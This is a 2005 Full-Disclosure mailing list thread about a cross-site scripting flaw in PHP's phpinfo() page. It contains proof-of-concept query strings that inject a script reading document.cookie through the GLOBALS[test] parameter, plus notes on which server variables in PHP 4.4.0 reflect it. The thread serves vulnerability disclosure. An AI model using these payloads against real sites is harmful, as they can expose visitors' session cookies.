Re: [Full-disclosure] Advisory 18/2005: PHP Cross Site Scripting (XSS)XVulnerability in phpinfo()

[Robert Waters]

for php 4.4.0, phpinfo.php?test=<script>alert(document.cookie);</script> *does* work but only in _SERVER["argv"]; using GLOBALS[test] for this php version the xss is triggered 3 times (_GET["GLOBALS"], _REQUEST["GLOBALS"], and _SERVER["argv"]).  wonder if _SERVER["HTTP_USER_AGENT"] is susceptible?  can't test right now.

On 11/3/05, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

great Work

PoC:
phpinfo.php?GLOBALS[test]=<script>alert( document.cookie);</script>


this Don't Work:
phpinfo.php?test=<script>alert(document.cookie);</script>
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkNqJ2EACgkQ3APBCuix8ZmWRACgs0IvvixY6zfmkpJ/9APUtgPLFfgA
oJgOYQ4jbwGaTcJV95ZVyiAQwMXF
=zYsZ
-----END PGP SIGNATURE-----




Concerned about your privacy? Instantly send FREE secure email, no account required
http://www.hushmail.com/send?l=480

Get the best prices on SSL certificates from Hushmail
https://www.hushssl.com?l=485

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/